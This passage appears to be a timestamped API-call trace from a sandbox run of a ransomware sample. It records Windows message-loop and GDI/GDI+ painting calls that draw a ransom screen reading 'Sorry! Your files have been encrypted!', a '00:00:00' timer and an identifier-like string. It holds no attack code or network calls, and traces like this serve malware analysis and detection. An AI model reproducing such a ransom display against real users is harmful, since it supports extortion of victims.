lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.069] IsWindowUnicode (hWnd=0x2022c) returned 1 [0157.069] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.069] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.069] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.069] BeginPaint (in: hWnd=0x2022c, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1b010670 [0157.070] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0157.070] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0157.070] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.070] GetSystemMetrics (nIndex=42) returned 0 [0157.070] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0157.070] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0157.070] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0157.070] EndPaint (hWnd=0x2022c, lpPaint=0x19e8f8) returned 1 [0157.070] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.070] IsWindowUnicode (hWnd=0x2022e) returned 1 [0157.070] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.070] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.070] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.070] BeginPaint (in: hWnd=0x2022e, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0157.070] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0157.070] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x25010738 [0157.070] DeleteObject (ho=0x7050721) returned 1 [0157.071] GetObjectType (h=0x1e0106e1) returned 0x3 [0157.071] CreateCompatibleBitmap (hdc=0x1e0106e1, cx=1, cy=1) returned 0x3e050720 [0157.072] GetDIBits (in: hdc=0x1e0106e1, hbm=0x3e050720, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x19e3bc, usage=0x0 | out: lpvBits=0x0, lpbmi=0x19e3bc) returned 1 [0157.072] GetDIBits (in: hdc=0x1e0106e1, hbm=0x3e050720, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x19e3bc, usage=0x0 | out: lpvBits=0x0, lpbmi=0x19e3bc) returned 1 [0157.072] DeleteObject (ho=0x3e050720) returned 1 [0157.072] CreateDIBSection (in: hdc=0x1e0106e1, lpbmi=0x19e40c, usage=0x0, ppvBits=0x19e900, hSection=0x0, offset=0x0 | out: ppvBits=0x19e900) returned 0x8050721 [0157.072] SelectObject (hdc=0x25010738, h=0x8050721) returned 0x85000f [0157.072] GdipCreateFromHDC (hdc=0x25010738, graphics=0x19e8e4) returned 0x0 [0157.072] GdipTranslateWorldTransform (graphics=0x691e928, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0157.072] GdipSetClipRectI (graphics=0x691e928, x=0, y=0, width=519, height=33, combineMode=0x0) returned 0x0 [0157.072] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0157.072] GdipGetWorldTransform (graphics=0x691e928, matrix=0x691efb8) returned 0x0 [0157.072] GdipIsMatrixIdentity (matrix=0x691efb8, result=0x19e944) returned 0x0 [0157.072] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf756e0 [0157.073] GdipGetMatrixElements (matrix=0x691efb8, matrixOut=0xf756e0) returned 0x0 [0157.073] LocalFree (hMem=0xf756e0) returned 0x0 [0157.073] GdipDeleteMatrix (matrix=0x691efb8) returned 0x0 [0157.073] GdipCreateRegion (region=0x19e92c) returned 0x0 [0157.073] GdipGetClip (graphics=0x691e928, region=0x691ec08) returned 0x0 [0157.073] GdipIsInfiniteRegion (region=0x691ec08, graphics=0x691e928, result=0x19e938) returned 0x0 [0157.073] GdipSaveGraphics (graphics=0x691e928, state=0x19e964) returned 0x0 [0157.073] GetWindowTextLengthW (hWnd=0x2022e) returned 38 [0157.073] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2022e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x26 [0157.073] GetSystemMetrics (nIndex=42) returned 0 [0157.073] GetWindowTextW (in: hWnd=0x2022e, lpString=0x19e830, nMaxCount=39 | out: lpString="Sorry! Your files have been encrypted!") returned 38 [0157.073] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2022e, Msg=0xd, wParam=0x27, lParam=0x19e830) returned 0x26 [0157.073] GetClientRect (in: hWnd=0x2022e, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0157.073] GdipCreateRegion (region=0x19e780) returned 0x0 [0157.073] GdipGetClip (graphics=0x691e928, region=0x691ec98) returned 0x0 [0157.073] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0157.073] GdipGetWorldTransform (graphics=0x691e928, matrix=0x6915f08) returned 0x0 [0157.073] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0157.073] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf758a0 [0157.073] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf758a0) returned 0x0 [0157.073] LocalFree (hMem=0xf758a0) returned 0x0 [0157.073] GdipCombineRegionRegion (region=0x691ec98, region2=0x691ec08, combineMode=0x1) returned 0x0 [0157.073] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf756e0 [0157.073] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf756e0) returned 0x0 [0157.073] LocalFree (hMem=0xf756e0) returned 0x0 [0157.073] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0157.074] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7c0) returned 0x0 [0157.074] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7b0) returned 0x0 [0157.074] GdipGetRegionHRgn (region=0x691ec98, graphics=0x691e928, hRgn=0x19e7b0) returned 0x0 [0157.074] GdipDeleteRegion (region=0x691ec98) returned 0x0 [0157.074] GdipGetDC (graphics=0x691e928, hdc=0x19e7c8) returned 0x0 [0157.074] GetCurrentObject (hdc=0x25010738, type=0x1) returned 0xb00017 [0157.074] GetCurrentObject (hdc=0x25010738, type=0x2) returned 0x900010 [0157.074] GetCurrentObject (hdc=0x25010738, type=0x7) returned 0x8050721 [0157.074] GetCurrentObject (hdc=0x25010738, type=0x6) returned 0x8a01c2 [0157.074] SaveDC (hdc=0x25010738) returned 1 [0157.074] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xbb0406fe [0157.074] GetClipRgn (hdc=0x25010738, hrgn=0xbb0406fe) returned 0 [0157.074] SelectClipRgn (hdc=0x25010738, hrgn=0x4d0406f7) returned 2 [0157.074] DeleteObject (ho=0xbb0406fe) returned 1 [0157.075] GdipReleaseDC (graphics=0x691e928, hdc=0x25010738) returned 0x0 [0157.075] GdipRestoreGraphics (graphics=0x691e928, state=0xfd6b0dbd) returned 0x0 [0157.075] GdipDeleteRegion (region=0x691ec08) returned 0x0 [0157.075] GdipGetDC (graphics=0x691e928, hdc=0x19e7e8) returned 0x0 [0157.075] GdipReleaseDC (graphics=0x691e928, hdc=0x25010738) returned 0x0 [0157.077] GdipGetTextRenderingHint (graphics=0x691e928, mode=0x19e788) returned 0x0 [0157.077] GdipGetDC (graphics=0x691e928, hdc=0x19e774) returned 0x0 [0157.077] GdipGetFamilyName (in: family=0x57f2240, name=0x19e664, language=0x409 | out: name="Arial Black") returned 0x0 [0157.077] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0157.077] CoTaskMemAlloc (cb=0x5c) returned 0xeeac10 [0157.077] CreateFontIndirectW (lplf=0xeeac10) returned 0x450a062b [0157.077] CoTaskMemFree (pv=0xeeac10) [0157.077] GetObjectW (in: h=0x450a062b, c=92, pv=0x19e628 | out: pv=0x19e628) returned 92 [0157.077] DeleteObject (ho=0x60a0723) returned 1 [0157.077] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0157.078] SelectObject (hdc=0x25010738, h=0x450a062b) returned 0x8a01c2 [0157.080] DrawTextExW (in: hdc=0x25010738, lpchText="Sorry! Your files have been encrypted!", cchText=38, lprc=0x19e708, format=0x100000, lpdtp=0x301a2f8 | out: lpchText="Sorry! Your files have been encrypted!", lprc=0x19e708) returned 33 [0157.082] GdipReleaseDC (graphics=0x691e928, hdc=0x25010738) returned 0x0 [0157.083] GdipGetDC (graphics=0x691e928, hdc=0x19e924) returned 0x0 [0157.083] GdipReleaseDC (graphics=0x691e928, hdc=0x25010738) returned 0x0 [0157.083] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0157.083] EndPaint (hWnd=0x2022e, lpPaint=0x19e8c8) returned 1 [0157.083] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.083] IsWindowUnicode (hWnd=0x20230) returned 1 [0157.083] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.083] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.083] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0157.083] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0157.083] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0157.084] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e2ec | out: lpRect=0x19e2ec) returned 1 [0157.084] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0157.084] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.084] GetSystemMetrics (nIndex=42) returned 0 [0157.084] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e1cc, nMaxCount=1 | out: lpString="") returned 0 [0157.084] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e1cc) returned 0x0 [0157.084] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e1f4 | out: lpRect=0x19e1f4) returned 1 [0157.084] GetCurrentObject (hdc=0x4b010719, type=0x1) returned 0xb00017 [0157.084] GetCurrentObject (hdc=0x4b010719, type=0x2) returned 0x900010 [0157.084] GetCurrentObject (hdc=0x4b010719, type=0x7) returned 0x2905019f [0157.084] GetCurrentObject (hdc=0x4b010719, type=0x6) returned 0x8a01c2 [0157.084] SaveDC (hdc=0x4b010719) returned 1 [0157.084] GetNearestColor (hdc=0x4b010719, color=0x323533) returned 0x323533 [0157.084] CreateSolidBrush (color=0x323533) returned 0x410073a [0157.084] FillRect (hDC=0x4b010719, lprc=0x19e094, hbr=0x410073a) returned 1 [0157.084] DeleteObject (ho=0x410073a) returned 1 [0157.084] RestoreDC (hdc=0x4b010719, nSavedDC=-1) returned 1 [0157.084] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0157.084] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.085] GetSystemMetrics (nIndex=42) returned 0 [0157.085] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e16c, nMaxCount=1 | out: lpString="") returned 0 [0157.085] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e16c) returned 0x0 [0157.085] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e194 | out: lpRect=0x19e194) returned 1 [0157.085] GetCurrentObject (hdc=0x4b010719, type=0x1) returned 0xb00017 [0157.085] GetCurrentObject (hdc=0x4b010719, type=0x2) returned 0x900010 [0157.085] GetCurrentObject (hdc=0x4b010719, type=0x7) returned 0x2905019f [0157.085] GetCurrentObject (hdc=0x4b010719, type=0x6) returned 0x8a01c2 [0157.085] SaveDC (hdc=0x4b010719) returned 1 [0157.085] GetNearestColor (hdc=0x4b010719, color=0x323533) returned 0x323533 [0157.085] CreateSolidBrush (color=0x323533) returned 0x510073a [0157.085] FillRect (hDC=0x4b010719, lprc=0x19e034, hbr=0x510073a) returned 1 [0157.085] DeleteObject (ho=0x510073a) returned 1 [0157.085] RestoreDC (hdc=0x4b010719, nSavedDC=-1) returned 1 [0157.085] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0157.085] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.085] GetSystemMetrics (nIndex=42) returned 0 [0157.085] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e16c, nMaxCount=1 | out: lpString="") returned 0 [0157.085] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e16c) returned 0x0 [0157.086] SetTextColor (hdc=0x4b010719, color=0x0) returned 0x0 [0157.086] SetBkColor (hdc=0x4b010719, color=0xffffff) returned 0xffffff [0157.086] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.086] IsWindowUnicode (hWnd=0x20234) returned 1 [0157.086] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.086] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.086] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0157.086] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0157.086] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0157.087] SetTextColor (hdc=0x4c010719, color=0x0) returned 0x0 [0157.087] SetBkColor (hdc=0x4c010719, color=0xffffff) returned 0xffffff [0157.087] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.087] IsWindowUnicode (hWnd=0x20236) returned 1 [0157.087] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.087] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.087] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.087] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0157.087] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0157.088] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x2c010738 [0157.088] SelectObject (hdc=0x2c010738, h=0x8050721) returned 0x85000f [0157.088] GdipCreateFromHDC (hdc=0x2c010738, graphics=0x19e8e4) returned 0x0 [0157.088] GdipTranslateWorldTransform (graphics=0x691e928, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0157.088] GdipSetClipRectI (graphics=0x691e928, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0157.088] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0157.088] GdipGetWorldTransform (graphics=0x691e928, matrix=0x691efb8) returned 0x0 [0157.088] GdipIsMatrixIdentity (matrix=0x691efb8, result=0x19e944) returned 0x0 [0157.088] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf756e0 [0157.088] GdipGetMatrixElements (matrix=0x691efb8, matrixOut=0xf756e0) returned 0x0 [0157.088] LocalFree (hMem=0xf756e0) returned 0x0 [0157.088] GdipDeleteMatrix (matrix=0x691efb8) returned 0x0 [0157.088] GdipCreateRegion (region=0x19e92c) returned 0x0 [0157.088] GdipGetClip (graphics=0x691e928, region=0x691ec08) returned 0x0 [0157.088] GdipIsInfiniteRegion (region=0x691ec08, graphics=0x691e928, result=0x19e938) returned 0x0 [0157.088] GdipSaveGraphics (graphics=0x691e928, state=0x19e964) returned 0x0 [0157.088] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0157.088] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0157.088] GetSystemMetrics (nIndex=42) returned 0 [0157.088] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="00:00:00") returned 8 [0157.088] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0157.088] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0157.089] GdipCreateRegion (region=0x19e780) returned 0x0 [0157.089] GdipGetClip (graphics=0x691e928, region=0x691ec98) returned 0x0 [0157.089] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0157.089] GdipGetWorldTransform (graphics=0x691e928, matrix=0x6915f08) returned 0x0 [0157.089] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0157.089] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75590 [0157.089] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75590) returned 0x0 [0157.089] LocalFree (hMem=0xf75590) returned 0x0 [0157.089] GdipCombineRegionRegion (region=0x691ec98, region2=0x691ec08, combineMode=0x1) returned 0x0 [0157.089] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf756e0 [0157.089] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf756e0) returned 0x0 [0157.089] LocalFree (hMem=0xf756e0) returned 0x0 [0157.089] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0157.089] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7c0) returned 0x0 [0157.089] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7b0) returned 0x0 [0157.089] GdipGetRegionHRgn (region=0x691ec98, graphics=0x691e928, hRgn=0x19e7b0) returned 0x0 [0157.089] GdipDeleteRegion (region=0x691ec98) returned 0x0 [0157.089] GdipGetDC (graphics=0x691e928, hdc=0x19e7c8) returned 0x0 [0157.089] GetCurrentObject (hdc=0x2c010738, type=0x1) returned 0xb00017 [0157.089] GetCurrentObject (hdc=0x2c010738, type=0x2) returned 0x900010 [0157.089] GetCurrentObject (hdc=0x2c010738, type=0x7) returned 0x8050721 [0157.089] GetCurrentObject (hdc=0x2c010738, type=0x6) returned 0x8a01c2 [0157.089] SaveDC (hdc=0x2c010738) returned 1 [0157.089] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x500406f7 [0157.089] GetClipRgn (hdc=0x2c010738, hrgn=0x500406f7) returned 0 [0157.089] SelectClipRgn (hdc=0x2c010738, hrgn=0xc00406fe) returned 2 [0157.089] DeleteObject (ho=0x500406f7) returned 1 [0157.090] DeleteObject (ho=0xc00406fe) returned 1 [0157.090] OffsetViewportOrgEx (in: hdc=0x2c010738, x=0, y=0, lppt=0x301ab44 | out: lppt=0x301ab44) returned 1 [0157.090] GetNearestColor (hdc=0x2c010738, color=0x22a3f8) returned 0x22a3f8 [0157.090] CreateSolidBrush (color=0x22a3f8) returned 0x610073a [0157.090] FillRect (hDC=0x2c010738, lprc=0x19e7cc, hbr=0x610073a) returned 1 [0157.090] DeleteObject (ho=0x610073a) returned 1 [0157.090] RestoreDC (hdc=0x2c010738, nSavedDC=-1) returned 1 [0157.090] GdipReleaseDC (graphics=0x691e928, hdc=0x2c010738) returned 0x0 [0157.090] GdipRestoreGraphics (graphics=0x691e928, state=0xfd690dbd) returned 0x0 [0157.090] GdipDeleteRegion (region=0x691ec08) returned 0x0 [0157.090] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0157.090] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0157.090] GetSystemMetrics (nIndex=42) returned 0 [0157.090] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="00:00:00") returned 8 [0157.090] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0157.091] GdipGetDC (graphics=0x691e928, hdc=0x19e7e8) returned 0x0 [0157.091] GetCurrentObject (hdc=0x2c010738, type=0x1) returned 0xb00017 [0157.091] GetCurrentObject (hdc=0x2c010738, type=0x2) returned 0x900010 [0157.091] GetCurrentObject (hdc=0x2c010738, type=0x7) returned 0x8050721 [0157.091] GetCurrentObject (hdc=0x2c010738, type=0x6) returned 0x8a01c2 [0157.091] SaveDC (hdc=0x2c010738) returned 1 [0157.091] GdipReleaseDC (graphics=0x691e928, hdc=0x2c010738) returned 0x0 [0157.091] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0157.091] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0157.092] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x19e78c, fWinIni=0x0 | out: pvParam=0x19e78c) returned 1 [0157.092] SendMessageW (hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0157.092] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0157.092] GdipGetTextRenderingHint (graphics=0x691e928, mode=0x19e788) returned 0x0 [0157.092] GdipGetDC (graphics=0x691e928, hdc=0x19e774) returned 0x0 [0157.092] GetCurrentObject (hdc=0x2c010738, type=0x1) returned 0xb00017 [0157.092] GetCurrentObject (hdc=0x2c010738, type=0x2) returned 0x900010 [0157.092] GetCurrentObject (hdc=0x2c010738, type=0x7) returned 0x8050721 [0157.092] GetCurrentObject (hdc=0x2c010738, type=0x6) returned 0x8a01c2 [0157.092] SaveDC (hdc=0x2c010738) returned 1 [0157.092] GetTextAlign (hdc=0x2c010738) returned 0x0 [0157.092] GetTextColor (hdc=0x2c010738) returned 0x0 [0157.092] GetCurrentObject (hdc=0x2c010738, type=0x6) returned 0x8a01c2 [0157.092] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0157.092] SelectObject (hdc=0x2c010738, h=0x4f0a0711) returned 0x8a01c2 [0157.092] GetBkMode (hdc=0x2c010738) returned 2 [0157.092] SetBkMode (hdc=0x2c010738, mode=1) returned 2 [0157.092] DrawTextExW (in: hdc=0x2c010738, lpchText="00:00:00", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x301afd8 | out: lpchText="00:00:00", lprc=0x19e708) returned 50 [0157.094] RestoreDC (hdc=0x2c010738, nSavedDC=-1) returned 1 [0157.094] GdipReleaseDC (graphics=0x691e928, hdc=0x2c010738) returned 0x0 [0157.095] GdipGetDC (graphics=0x691e928, hdc=0x19e924) returned 0x0 [0157.095] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=154, cy=50, hdcSrc=0x2c010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0157.095] GdipReleaseDC (graphics=0x691e928, hdc=0x2c010738) returned 0x0 [0157.095] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0157.095] SelectObject (hdc=0x2c010738, h=0x85000f) returned 0x8050721 [0157.095] DeleteDC (hdc=0x2c010738) returned 1 [0157.095] GdipDeleteGraphics (graphics=0x691e928) returned 0x0 [0157.095] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0157.095] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.095] IsWindowUnicode (hWnd=0x20238) returned 1 [0157.095] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0157.095] TranslateMessage (lpMsg=0x19ee78) returned 0 [0157.095] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0157.095] BeginPaint (in: hWnd=0x20238, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0157.095] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0157.096] CreateCompatibleDC (hdc=0x60100ce) returned 0x2e010738 [0157.096] SelectObject (hdc=0x2e010738, h=0x8050721) returned 0x85000f [0157.096] GdipCreateFromHDC (hdc=0x2e010738, graphics=0x19e8e4) returned 0x0 [0157.096] GdipTranslateWorldTransform (graphics=0x691e928, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0157.096] GdipSetClipRectI (graphics=0x691e928, x=0, y=0, width=120, height=33, combineMode=0x0) returned 0x0 [0157.096] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0157.096] GdipGetWorldTransform (graphics=0x691e928, matrix=0x691efb8) returned 0x0 [0157.096] GdipIsMatrixIdentity (matrix=0x691efb8, result=0x19e944) returned 0x0 [0157.096] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf756e0 [0157.096] GdipGetMatrixElements (matrix=0x691efb8, matrixOut=0xf756e0) returned 0x0 [0157.096] LocalFree (hMem=0xf756e0) returned 0x0 [0157.096] GdipDeleteMatrix (matrix=0x691efb8) returned 0x0 [0157.096] GdipCreateRegion (region=0x19e92c) returned 0x0 [0157.096] GdipGetClip (graphics=0x691e928, region=0x691ec08) returned 0x0 [0157.096] GdipIsInfiniteRegion (region=0x691ec08, graphics=0x691e928, result=0x19e938) returned 0x0 [0157.096] GdipSaveGraphics (graphics=0x691e928, state=0x19e964) returned 0x0 [0157.096] GetWindowTextLengthW (hWnd=0x20238) returned 6 [0157.096] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0157.096] GetSystemMetrics (nIndex=42) returned 0 [0157.096] GetWindowTextW (in: hWnd=0x20238, lpString=0x19e870, nMaxCount=7 | out: lpString="FD1HVy") returned 6 [0157.096] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xd, wParam=0x7, lParam=0x19e870) returned 0x6 [0157.097] GetClientRect (in: hWnd=0x20238, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0157.097] GdipCreateRegion (region=0x19e780) returned 0x0 [0157.097] GdipGetClip (graphics=0x691e928, region=0x691ec98) returned 0x0 [0157.097] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0157.097] GdipGetWorldTransform (graphics=0x691e928, matrix=0x6915f08) returned 0x0 [0157.097] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0157.097] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf758a0 [0157.097] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf758a0) returned 0x0 [0157.097] LocalFree (hMem=0xf758a0) returned 0x0 [0157.097] GdipCombineRegionRegion (region=0x691ec98, region2=0x691ec08, combineMode=0x1) returned 0x0 [0157.097] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75a28 [0157.097] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75a28) returned 0x0 [0157.097] LocalFree (hMem=0xf75a28) returned 0x0 [0157.097] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0157.097] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7c0) returned 0x0 [0157.097] GdipIsInfiniteRegion (region=0x691ec98, graphics=0x691e928, result=0x19e7b0) returned 0x0 [0157.097] GdipGetRegionHRgn (region=0x691ec98, graphics=0x691e928, hRgn=0x19e7b0) returned 0x0 [0157.097] GdipDeleteRegion (region=0x691ec98) returned 0x0 [0157.097] GdipGetDC (graphics=0x691e928, hdc=0x19e7c8) returned 0x0 [0157.097] GetCurrentObject (hdc=0x2e010738, type=0x1) returned 0xb00017 [0157.097] GetCurrentObject (hdc=0x2e010738, type=0x2) returned 0x900010 [0157.097] GetCurrentObject (hdc=0x2e010738, type=0x7) returned 0x8050721 [0157.097] GetCurrentObject (hdc=0x2e010738, type=0x6) returned 0x8a01c2 [0157.097] SaveDC (hdc=0x2e010738) returned 1 [0157.098] CreateRectRgn (x1=0, 